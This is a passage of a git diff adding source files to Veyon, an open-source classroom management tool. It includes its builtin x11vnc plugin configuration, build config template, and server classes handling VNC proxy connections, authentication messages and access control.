FOREACH_X11VNC_CONFIG_PROPERTY(OP) \ + OP( X11VncConfiguration, m_configuration, BOOL, isXDamageDisabled, setXDamageDisabled, "XDamageDisabled", "X11Vnc" ); \ + OP( X11VncConfiguration, m_configuration, STRING, extraArguments, setExtraArguments, "ExtraArguments", "X11Vnc" ); + +// clazy:excludeall=ctor-missing-parent-argument + +class X11VncConfiguration : public Configuration::Proxy +{ + Q_OBJECT +public: + X11VncConfiguration(); + + FOREACH_X11VNC_CONFIG_PROPERTY(DECLARE_CONFIG_PROPERTY) + +public slots: + void setXDamageDisabled( bool ); + void setExtraArguments( const QString& ); + +} ; + +#endif diff --git a/plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.cpp b/plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.cpp new file mode 100644 index 0000000..6404c9c --- /dev/null +++ b/plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.cpp @@ -0,0 +1,47 @@ +/* + * X11VncConfigurationWidget.h - implementation of the X11VncConfigurationWidget class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "Configuration/UiMapping.h" +#include "X11VncConfiguration.h" +#include "X11VncConfigurationWidget.h" + +#include "ui_X11VncConfigurationWidget.h" + +X11VncConfigurationWidget::X11VncConfigurationWidget( X11VncConfiguration& configuration, QWidget* parent ) : + QWidget( parent ), + ui( new Ui::X11VncConfigurationWidget ), + m_configuration( configuration ) +{ + ui->setupUi( this ); + + FOREACH_X11VNC_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + FOREACH_X11VNC_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); +} + + + +X11VncConfigurationWidget::~X11VncConfigurationWidget() +{ + delete ui; +} diff --git a/plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.h b/plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.h new file mode 100644 index 0000000..9ff446b --- /dev/null +++ b/plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.h @@ -0,0 +1,50 @@ +/* + * X11VncConfigurationWidget.h - header for the X11VncConfigurationWidget class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef X11VNC_CONFIGURATION_WIDGET_H +#define X11VNC_CONFIGURATION_WIDGET_H + +#include + +namespace Ui { +class X11VncConfigurationWidget; +} + +class X11VncConfiguration; + +class X11VncConfigurationWidget : public QWidget +{ + Q_OBJECT + +public: + X11VncConfigurationWidget( X11VncConfiguration& configuration, QWidget* parent = nullptr ); + ~X11VncConfigurationWidget() override; + +private: + Ui::X11VncConfigurationWidget *ui; + X11VncConfiguration& m_configuration; + +}; + +#endif // X11VNC_CONFIGURATION_WIDGET_H diff --git a/plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.ui b/plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.ui new file mode 100644 index 0000000..187e9a4 --- /dev/null +++ b/plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.ui @@ -0,0 +1,50 @@ + + + X11VncConfigurationWidget + + + + 0 + 0 + 510 + 84 + + + + Builtin x11vnc server configuration + + + + 0 + + + 0 + + + 0 + + + 0 + + + + + Custom x11vnc parameters: + + + + + + + + + + Do not use X Damage extension + + + + + + + + diff --git a/plugins/vncserver/x11vnc-builtin/config.h.in b/plugins/vncserver/x11vnc-builtin/config.h.in new file mode 100644 index 0000000..e977c64 --- /dev/null +++ b/plugins/vncserver/x11vnc-builtin/config.h.in @@ -0,0 +1,305 @@ +/* config.h.in. Generated from configure.ac by autoheader. */ + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_ARPA_INET_H 1 + +/* Avahi/mDNS client build environment present */ +#cmakedefine HAVE_AVAHI 1 + +/* Define to 1 if you have the `crypt' function. */ +#cmakedefine HAVE_CRYPT 1 + +/* Define to 1 if you don't have `vprintf' but do have `_doprnt.' */ +#cmakedefine HAVE_DOPRNT 1 + +/* DPMS extension build environment present */ +#cmakedefine HAVE_DPMS 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_ENDIAN_H 1 + +/* FBPM extension build environment present */ +#cmakedefine HAVE_FBPM 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_FCNTL_H 1 + +/* Define to 1 if you have the `fork' function. */ +#cmakedefine HAVE_FORK 1 + +/* Define to 1 if you have the `ftime' function. */ +#cmakedefine HAVE_FTIME 1 + +/* Define to 1 if you have the `geteuid' function. */ +#cmakedefine HAVE_GETEUID 1 + +/* Define to 1 if you have the `gethostbyname' function. */ +#cmakedefine HAVE_GETHOSTBYNAME 1 + +/* Define to 1 if you have the `gethostname' function. */ +#cmakedefine HAVE_GETHOSTNAME 1 + +/* Define to 1 if you have the `getpwnam' function. */ +#cmakedefine HAVE_GETPWNAM 1 + +/* Define to 1 if you have the `getpwuid' function. */ +#cmakedefine HAVE_GETPWUID 1 + +/* Define to 1 if you have the `getspnam' function. */ +#cmakedefine HAVE_GETSPNAM 1 + +/* Define to 1 if you have the `gettimeofday' function. */ +#cmakedefine HAVE_GETTIMEOFDAY 1 + +/* Define to 1 if you have the `getuid' function. */ +#cmakedefine HAVE_GETUID 1 + +/* Define to 1 if you have the `grantpt' function. */ +#cmakedefine HAVE_GRANTPT 1 + +/* Define to 1 if you have the `inet_ntoa' function. */ +#cmakedefine HAVE_INET_NTOA 1 + +/* Define to 1 if you have the `initgroups' function. */ +#cmakedefine HAVE_INITGROUPS 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_INTTYPES_H 1 + +/* IRIX XReadDisplay available */ +#cmakedefine HAVE_IRIX_XREADDISPLAY 1 + +/* libcrypt library present */ +#cmakedefine HAVE_LIBCRYPT 1 + +/* openssl libcrypto library present */ +#cmakedefine HAVE_LIBCRYPTO 1 + +/* Define to 1 if you have the `cygipc' library (-lcygipc). */ +#cmakedefine HAVE_LIBCYGIPC 1 + +/* Define to 1 if you have the `nsl' library (-lnsl). */ +#cmakedefine HAVE_LIBNSL 1 + +/* Define to 1 if you have the `socket' library (-lsocket). */ +#cmakedefine HAVE_LIBSOCKET 1 + +/* openssl libssl library present */ +#cmakedefine HAVE_LIBSSL 1 + +/* XCOMPOSITE extension build environment present */ +#cmakedefine HAVE_LIBXCOMPOSITE 1 + +/* Xcursor library build environment present */ +#cmakedefine HAVE_LIBXCURSOR 1 + +/* XDAMAGE extension build environment present */ +#cmakedefine HAVE_LIBXDAMAGE 1 + +/* XFIXES extension build environment present */ +#cmakedefine HAVE_LIBXFIXES 1 + +/* XINERAMA extension build environment present */ +#cmakedefine HAVE_LIBXINERAMA 1 + +/* XRANDR extension build environment present */ +#cmakedefine HAVE_LIBXRANDR 1 + +/* DEC-XTRAP extension build environment present */ +#cmakedefine HAVE_LIBXTRAP 1 + +/* linux fb device build environment present */ +#cmakedefine HAVE_LINUX_FB_H 1 + +/* linux/input.h present */ +#cmakedefine HAVE_LINUX_INPUT_H 1 + +/* linux uinput device build environment present */ +#cmakedefine HAVE_LINUX_UINPUT_H 1 + +/* video4linux build environment present */ +#cmakedefine HAVE_LINUX_VIDEODEV_H 1 + +/* build MacOS X native display support */ +#cmakedefine HAVE_MACOSX_NATIVE_DISPLAY 1 + +/* MacOS X OpenGL present */ +#cmakedefine HAVE_MACOSX_OPENGL_H 1 + +/* Define to 1 if you have the `memmove' function. */ +#cmakedefine HAVE_MEMMOVE 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_MEMORY_H 1 + +/* Define to 1 if you have the `memset' function. */ +#cmakedefine HAVE_MEMSET 1 + +/* Define to 1 if you have the `mkfifo' function. */ +#cmakedefine HAVE_MKFIFO 1 + +/* Define to 1 if you have the `mmap' function. */ +#cmakedefine HAVE_MMAP 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_NETDB_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_NETINET_IN_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_PWD_H 1 + +/* RECORD extension build environment present */ +#cmakedefine HAVE_RECORD 1 + +/* Define to 1 if you have the `select' function. */ +#cmakedefine HAVE_SELECT 1 + +/* Define to 1 if you have the `setegid' function. */ +#cmakedefine HAVE_SETEGID 1 + +/* Define to 1 if you have the `seteuid' function. */ +#cmakedefine HAVE_SETEUID 1 + +/* Define to 1 if you have the `setgid' function. */ +#cmakedefine HAVE_SETGID 1 + +/* Define to 1 if you have the `setpgrp' function. */ +#cmakedefine HAVE_SETPGRP 1 + +/* Define to 1 if you have the `setsid' function. */ +#cmakedefine HAVE_SETSID 1 + +/* Define to 1 if you have the `setuid' function. */ +#cmakedefine HAVE_SETUID 1 + +/* Define to 1 if you have the `setutxent' function. */ +#cmakedefine HAVE_SETUTXENT 1 + +/* Define to 1 if you have the `shmat' function. */ +#cmakedefine HAVE_SHMAT 1 + +/* Define to 1 if you have the `socket' function. */ +#cmakedefine HAVE_SOCKET 1 + +/* Solaris XReadScreen available */ +#cmakedefine HAVE_SOLARIS_XREADSCREEN 1 + +/* Define to 1 if `stat' has the bug that it succeeds when given the + zero-length file name argument. */ +#cmakedefine HAVE_STAT_EMPTY_STRING_BUG 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_STDINT_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_STDLIB_H 1 + +/* Define to 1 if you have the `strchr' function. */ +#cmakedefine HAVE_STRCHR 1 + +/* Define to 1 if you have the `strcspn' function. */ +#cmakedefine HAVE_STRCSPN 1 + +/* Define to 1 if you have the `strdup' function. */ +#cmakedefine HAVE_STRDUP 1 + +/* Define to 1 if you have the `strerror' function. */ +#cmakedefine HAVE_STRERROR 1 + +/* Define to 1 if you have the `strftime' function. */ +#cmakedefine HAVE_STRFTIME 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_STRINGS_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_STRING_H 1 + +/* Define to 1 if you have the `strstr' function. */ +#cmakedefine HAVE_STRSTR 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYSLOG_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_ENDIAN_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_IOCTL_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_SOCKET_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_STAT_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_STROPTS_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_TIMEB_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_TIME_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_SYS_TYPES_H 1 + +/* Define to 1 if you have that is POSIX.1 compatible. */ +#cmakedefine HAVE_SYS_WAIT_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_TERMIOS_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_UNISTD_H 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_UTMPX_H 1 + +/* Define to 1 if you have the `vfork' function. */ +#cmakedefine HAVE_VFORK 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_VFORK_H 1 + +/* Define to 1 if you have the `vprintf' function. */ +#cmakedefine HAVE_VPRINTF 1 + +/* Define to 1 if you have the `waitpid' function. */ +#cmakedefine HAVE_WAITPID 1 + +/* Define to 1 if `fork' works. */ +#cmakedefine HAVE_WORKING_FORK 1 + +/* Define to 1 if `vfork' works. */ +#cmakedefine HAVE_WORKING_VFORK 1 + +/* Define to 1 if you have the header file. */ +#cmakedefine HAVE_WS2TCPIP_H 1 + +/* X11 build environment present */ +#cmakedefine HAVE_X11 1 + +/* open ssl X509_print_ex_fp available */ +#cmakedefine HAVE_X509_PRINT_EX_FP 1 + +/* XI2 available */ +#cmakedefine HAVE_XI2 1 + +/* XKEYBOARD extension build environment present */ +#cmakedefine HAVE_XKEYBOARD 1 + +/* MIT-SHM extension build environment present */ +#cmakedefine HAVE_XSHM 1 + +/* XTEST extension build environment present */ +#cmakedefine HAVE_XTEST 1 + +/* XTEST extension has XTestGrabControl */ +#cmakedefine HAVE_XTESTGRABCONTROL 1 + +/* Version number of package */ +#define VERSION "@VERSION_STRING@" diff --git a/plugins/vncserver/x11vnc-builtin/x11vnc-veyon.c b/plugins/vncserver/x11vnc-builtin/x11vnc-veyon.c new file mode 100644 index 0000000..449725e --- /dev/null +++ b/plugins/vncserver/x11vnc-builtin/x11vnc-veyon.c @@ -0,0 +1,7 @@ +#define SHOW_NO_PASSWORD_WARNING 0 +#define main x11vnc_main + +#include + +#include "x11vnc/src/x11vnc.c" +#include "x11vnc/src/pm.c" diff --git a/project.yml b/project.yml new file mode 100644 index 0000000..1879be0 --- /dev/null +++ b/project.yml @@ -0,0 +1,19 @@ +project: + name: Veyon + version: 4.1.7 + copyright: 2004-2019 + author: Tobias Junghans + contact: Tobias Junghans + contributors: + - Tobias Junghans + description: Virtual Eye On Networks - OpenSource classroom management + license: GPL-2.0 + category: Education + homepage: https://veyon.io + repository: + type: git + url: https://github.com/veyon/veyon.git + bugs: + url: https://github.com/veyon/veyon/issues + documentation: + url: https://docs.veyon.io diff --git a/server/CMakeLists.txt b/server/CMakeLists.txt new file mode 100644 index 0000000..f888528 --- /dev/null +++ b/server/CMakeLists.txt @@ -0,0 +1,23 @@ +INCLUDE(WindowsBuildHelpers) + +FILE(GLOB server_INCLUDES ${CMAKE_CURRENT_SOURCE_DIR}/src/*.h) +FILE(GLOB server_SOURCES ${CMAKE_CURRENT_SOURCE_DIR}/src/*.cpp) +QT5_WRAP_CPP(server_MOC_out ${server_INCLUDES}) + +INCLUDE_DIRECTORIES(${CMAKE_CURRENT_BINARY_DIR} ${CMAKE_CURRENT_SOURCE_DIR}/src) + +ADD_EXECUTABLE(veyon-server ${server_SOURCES} ${server_INCLUDES} ${server_MOC_out}) +TARGET_LINK_LIBRARIES(veyon-server veyon-core) + +ADD_WINDOWS_RESOURCE(veyon-server) +MAKE_GRAPHICAL_APP(veyon-server) + +INSTALL(TARGETS veyon-server RUNTIME DESTINATION bin) + +TARGET_LINK_LIBRARIES(veyon-server + Qt5::Gui + Qt5::Network + Qt5::Widgets + ) + +COTIRE_VEYON(veyon-server) diff --git a/server/src/ComputerControlClient.cpp b/server/src/ComputerControlClient.cpp new file mode 100644 index 0000000..8332773 --- /dev/null +++ b/server/src/ComputerControlClient.cpp @@ -0,0 +1,75 @@ +/* + * ComputerControlClient.cpp - implementation of the ComputerControlClient class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "VeyonCore.h" +#include "ComputerControlClient.h" +#include "ComputerControlServer.h" + + +ComputerControlClient::ComputerControlClient( ComputerControlServer* server, + QTcpSocket* clientSocket, + int vncServerPort, + const QString& vncServerPassword, + QObject* parent ) : + VncProxyConnection( clientSocket, vncServerPort, parent ), + m_server( server ), + m_serverClient(), + m_serverProtocol( clientSocket, + &m_serverClient, + server->authenticationManager(), + server->accessControlManager() ), + m_clientProtocol( vncServerSocket(), vncServerPassword ) +{ + m_serverProtocol.start(); + m_clientProtocol.start(); +} + + + +ComputerControlClient::~ComputerControlClient() +{ + m_server->accessControlManager().removeClient( &m_serverClient ); +} + + + +bool ComputerControlClient::receiveClientMessage() +{ + auto socket = proxyClientSocket(); + + char messageType = 0; + if( socket->peek( &messageType, sizeof(messageType) ) != sizeof(messageType) ) + { + return false; + } + + if( messageType == rfbVeyonFeatureMessage ) + { + return m_server->handleFeatureMessage( socket ); + } + + return VncProxyConnection::receiveClientMessage(); +} diff --git a/server/src/ComputerControlClient.h b/server/src/ComputerControlClient.h new file mode 100644 index 0000000..d3128bf --- /dev/null +++ b/server/src/ComputerControlClient.h @@ -0,0 +1,69 @@ +/* + * ComputerControlClient.h - header file for the ComputerControlClient class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMPUTER_CONTROL_CLIENT_H +#define COMPUTER_CONTROL_CLIENT_H + +#include "VncClientProtocol.h" +#include "VncProxyConnection.h" +#include "VncServerClient.h" +#include "VeyonServerProtocol.h" + +class ComputerControlServer; + +class ComputerControlClient : public VncProxyConnection +{ + Q_OBJECT +public: + ComputerControlClient( ComputerControlServer* server, + QTcpSocket* clientSocket, + int vncServerPort, + const QString& vncServerPassword, + QObject* parent ); + ~ComputerControlClient() override; + + bool receiveClientMessage() override; + +protected: + VncClientProtocol& clientProtocol() override + { + return m_clientProtocol; + } + + VncServerProtocol& serverProtocol() override + { + return m_serverProtocol; + } + +private: + ComputerControlServer* m_server; + + VncServerClient m_serverClient; + + VeyonServerProtocol m_serverProtocol; + VncClientProtocol m_clientProtocol; + +} ; + +#endif diff --git a/server/src/ComputerControlServer.cpp b/server/src/ComputerControlServer.cpp new file mode 100644 index 0000000..5f8e886 --- /dev/null +++ b/server/src/ComputerControlServer.cpp @@ -0,0 +1,174 @@ +/* + * ComputerControlServer.cpp - implementation of ComputerControlServer + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "AccessControlProvider.h" +#include "ComputerControlServer.h" +#include "ComputerControlClient.h" +#include "FeatureMessage.h" +#include "VeyonConfiguration.h" +#include "SystemTrayIcon.h" + + +ComputerControlServer::ComputerControlServer( QObject* parent ) : + QObject( parent ), + m_allowedIPs(), + m_failedAuthHosts(), + m_builtinFeatures(), + m_featureManager(), + m_featureWorkerManager( *this, m_featureManager ), + m_serverAuthenticationManager( this ), + m_serverAccessControlManager( m_featureWorkerManager, m_builtinFeatures.desktopAccessDialog(), this ), + m_vncServer(), + m_vncProxyServer( VeyonCore::config().localConnectOnly() || AccessControlProvider().isAccessToLocalComputerDenied() ? + QHostAddress::LocalHost : QHostAddress::Any, + VeyonCore::config().primaryServicePort() + VeyonCore::sessionId(), + this, + this ) +{ + m_builtinFeatures.systemTrayIcon().setToolTip( + tr( "%1 Service %2 at %3:%4" ).arg( VeyonCore::applicationName(), VeyonCore::version(), + QHostInfo::localHostName(), + QString::number( VeyonCore::config().primaryServicePort() + VeyonCore::sessionId() ) ), + m_featureWorkerManager ); + + // make app terminate once the VNC server thread has finished + connect( &m_vncServer, &VncServer::finished, QCoreApplication::instance(), &QCoreApplication::quit ); + + connect( &m_serverAuthenticationManager, &ServerAuthenticationManager::authenticationDone, + this, &ComputerControlServer::showAuthenticationMessage ); +} + + + +ComputerControlServer::~ComputerControlServer() +{ + qDebug(Q_FUNC_INFO); + + m_vncProxyServer.stop(); +} + + + +bool ComputerControlServer::start() +{ + if( m_vncProxyServer.start( m_vncServer.serverPort(), m_vncServer.password() ) == false ) + { + return false; + } + + m_vncServer.prepare(); + m_vncServer.start(); + + return true; +} + + + +VncProxyConnection* ComputerControlServer::createVncProxyConnection( QTcpSocket* clientSocket, + int vncServerPort, + const QString& vncServerPassword, + QObject* parent ) +{ + return new ComputerControlClient( this, clientSocket, vncServerPort, vncServerPassword, parent ); +} + + + +bool ComputerControlServer::handleFeatureMessage( QTcpSocket* socket ) +{ + char messageType; + if( socket->getChar( &messageType ) == false ) + { + qWarning( "ComputerControlServer::handleFeatureMessage(): could not read feature message!" ); + return false; + } + + // receive message + FeatureMessage featureMessage( socket ); + if( featureMessage.isReadyForReceive() == false ) + { + socket->ungetChar( messageType ); + return false; + } + + featureMessage.receive(); + + return m_featureManager.handleFeatureMessage( *this, featureMessage ); +} + + + +bool ComputerControlServer::sendFeatureMessageReply( const FeatureMessage& request, const FeatureMessage& reply ) +{ + qDebug() << Q_FUNC_INFO << reply.featureUid() << reply.command() << reply.arguments(); + + char rfbMessageType = rfbVeyonFeatureMessage; + request.ioDevice()->write( &rfbMessageType, sizeof(rfbMessageType) ); + + return reply.send( request.ioDevice() ); +} + + + +void ComputerControlServer::showAuthenticationMessage( ServerAuthenticationManager::AuthResult result, const QString& host, const QString& user ) +{ + if( result == ServerAuthenticationManager::AuthResultSuccessful ) + { + qInfo() << "ComputerControlServer: successfully authenticated" << user << "at host" << host; + + if( VeyonCore::config().remoteConnectionNotificationsEnabled() ) + { + m_builtinFeatures.systemTrayIcon().showMessage( + tr( "Remote access" ), + tr( "User \"%1\" at host \"%2\" is now accessing this computer." ).arg( user, host ), + m_featureWorkerManager ); + } + } + else if( result == ServerAuthenticationManager::AuthResultFailed ) + { + qWarning() << "ComputerControlServer: failed authenticating client" << host << user; + + if( VeyonCore::config().failedAuthenticationNotificationsEnabled() ) + { + QMutexLocker l( &m_dataMutex ); + + if( m_failedAuthHosts.contains( host ) == false ) + { + m_failedAuthHosts += host; + m_builtinFeatures.systemTrayIcon().showMessage( + tr( "Authentication error" ), + tr( "User \"%1\" at host \"%2\" attempted to access this computer " + "but could not authenticate successfully!" ).arg( user, host ), + m_featureWorkerManager ); + } + } + } + else + { + qCritical() << Q_FUNC_INFO << "Invalid auth result" << result; + } +} diff --git a/server/src/ComputerControlServer.h b/server/src/ComputerControlServer.h new file mode 100644 index 0000000..1ad1669 --- /dev/null +++ b/server/src/ComputerControlServer.h @@ -0,0 +1,98 @@ +/* + * ComputerControlServer.h - header file for ComputerControlServer + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef COMPUTER_CONTROL_SERVER_H +#define COMPUTER_CONTROL_SERVER_H + +#include +#include + +#include "BuiltinFeatures.h" +#include "FeatureManager.h" +#include "FeatureWorkerManager.h" +#include "RfbVeyonAuth.h" +#include "ServerAuthenticationManager.h" +#include "ServerAccessControlManager.h" +#include "VeyonServerInterface.h" +#include "VncProxyServer.h" +#include "VncProxyConnectionFactory.h" +#include "VncServer.h" + +class ComputerControlServer : public QObject, VncProxyConnectionFactory, VeyonServerInterface +{ + Q_OBJECT +public: + ComputerControlServer( QObject* parent = nullptr ); + ~ComputerControlServer() override; + + bool start(); + + VncProxyConnection* createVncProxyConnection( QTcpSocket* clientSocket, + int vncServerPort, + const QString& vncServerPassword, + QObject* parent ) override; + + ServerAuthenticationManager& authenticationManager() + { + return m_serverAuthenticationManager; + } + + ServerAccessControlManager& accessControlManager() + { + return m_serverAccessControlManager; + } + + bool handleFeatureMessage( QTcpSocket* socket ); + + bool sendFeatureMessageReply( const FeatureMessage& request, const FeatureMessage& reply ) override; + + void setAllowedIPs( const QStringList &allowedIPs ); + + FeatureWorkerManager& featureWorkerManager() override + { + return m_featureWorkerManager; + } + + +private: + void showAuthenticationMessage( ServerAuthenticationManager::AuthResult result, const QString& host, const QString& user ); + + QMutex m_dataMutex; + QStringList m_allowedIPs; + + QStringList m_failedAuthHosts; + + BuiltinFeatures m_builtinFeatures; + FeatureManager m_featureManager; + FeatureWorkerManager m_featureWorkerManager; + + ServerAuthenticationManager m_serverAuthenticationManager; + ServerAccessControlManager m_serverAccessControlManager; + + VncServer m_vncServer; + VncProxyServer m_vncProxyServer; + +} ; + +#endif diff --git a/server/src/ServerAccessControlManager.cpp b/server/src/ServerAccessControlManager.cpp new file mode 100644 index 0000000..eec9323 --- /dev/null +++ b/server/src/ServerAccessControlManager.cpp @@ -0,0 +1,229 @@ +/* + * ServerAccessControlManager.cpp - implementation of ServerAccessControlManager + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonCore.h" + +#include "ServerAccessControlManager.h" +#include "AccessControlProvider.h" +#include "DesktopAccessDialog.h" +#include "VeyonConfiguration.h" +#include "VariantArrayMessage.h" + + +ServerAccessControlManager::ServerAccessControlManager( FeatureWorkerManager& featureWorkerManager, + DesktopAccessDialog& desktopAccessDialog, + QObject* parent ) : + QObject( parent ), + m_featureWorkerManager( featureWorkerManager ), + m_desktopAccessDialog( desktopAccessDialog ), + m_clients(), + m_desktopAccessChoices() +{ +} + + + +void ServerAccessControlManager::addClient( VncServerClient* client ) +{ + switch( client->authType() ) + { + case RfbVeyonAuth::KeyFile: + case RfbVeyonAuth::Logon: + performAccessControl( client ); + break; + + case RfbVeyonAuth::None: + case RfbVeyonAuth::HostWhiteList: + case RfbVeyonAuth::Token: + client->setAccessControlState( VncServerClient::AccessControlSuccessful ); + break; + + default: + break; + } + + if( client->accessControlState() == VncServerClient::AccessControlSuccessful ) + { + m_clients.append( client ); + } +} + + + +void ServerAccessControlManager::removeClient( VncServerClient* client ) +{ + m_clients.removeAll( client ); + + // force all remaining clients to pass access control again as conditions might + // have changed (e.g. AccessControlRule::ConditionAccessFromAlreadyConnectedUser) + + const VncServerClientList previousClients = m_clients; + m_clients.clear(); + + for( auto prevClient : qAsConst( previousClients ) ) + { + prevClient->setAccessControlState( VncServerClient::AccessControlInit ); + addClient( prevClient ); + + if( prevClient->accessControlState() != VncServerClient::AccessControlSuccessful && + prevClient->accessControlState() != VncServerClient::AccessControlPending ) + { + qDebug( "ServerAccessControlManager::removeClient(): closing connection as client does not pass access control any longer" ); + prevClient->setProtocolState( VncServerProtocol::Close ); + } + } +} + + + +void ServerAccessControlManager::performAccessControl( VncServerClient* client ) +{ + // implement access control wait for connections other than the one an + // access dialog is currently active for + switch( client->accessControlState() ) + { + case VncServerClient::AccessControlInit: + client->accessControlTimer().restart(); + break; + case VncServerClient::AccessControlWaiting: + if( client->accessControlTimer().elapsed() < ClientWaitInterval ) + { + return; + } + client->accessControlTimer().restart(); + break; + default: + break; + } + + const auto accessResult = + AccessControlProvider().checkAccess( client->username(), + client->hostAddress(), + connectedUsers() ); + + switch( accessResult ) + { + case AccessControlProvider::AccessAllow: + client->setAccessControlState( VncServerClient::AccessControlSuccessful ); + break; + + case AccessControlProvider::AccessToBeConfirmed: + client->setAccessControlState( confirmDesktopAccess( client ) ); + break; + + default: + client->setAccessControlState( VncServerClient::AccessControlFailed ); + client->setProtocolState( VncServerProtocol::Close ); 